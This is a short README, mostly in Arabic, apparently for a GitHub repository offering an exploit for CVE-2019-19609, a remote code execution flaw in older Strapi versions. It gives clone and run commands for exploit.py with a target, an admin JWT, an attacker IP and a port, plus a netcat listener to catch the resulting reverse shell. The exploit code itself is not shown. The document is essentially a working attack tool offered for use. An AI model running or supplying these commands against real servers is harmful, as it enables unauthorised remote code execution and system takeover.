diego-tella/cve-2019-19609-exploitاستغلال لـ CVE-2019-19609 في Strapi (تنفيذ تعليمات برمجية عن بُعد)
استغلال لـ CVE-2019-19609 في Strapi (تنفيذ تعليمات برمجية عن بُعد في strapi-3.0.0-beta.17.7 أو الإصدارات الأقدم).
واجهت سيناريو يحتوي على هذه الثغرة الأمنية، ولكن دون استغلال عام. قررت إنشاء استغلال خاص بي ومشاركته هنا.
git clone https://github.com/diego-tella/CVE-2019-19609-EXPLOIT
cd CVE-2019-19609-EXPLOIT
python exploit.py -d DOMAIN_OR_IP -jwt JSON_WEB_TOKEN -l LHOST -p LPORT
python exploit.py -d example.com -jwt eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6MywiaXNBZG1pbiI6dHJ1ZSwiaWF0IjoxNjMwMjU3NDc3LCJleHAiOjE2MzI4NDk0Nzd9.JIKHRz_EDXg1fhThRhIbIyZ9w-6mE01dhnno2AtMMU0 -l 10.10.14.86 -p 1221
على طرفية أخرى، ابدأ بالاستماع إلى المنفذ المُمرر في الاستغلال
nc -vnlp 1221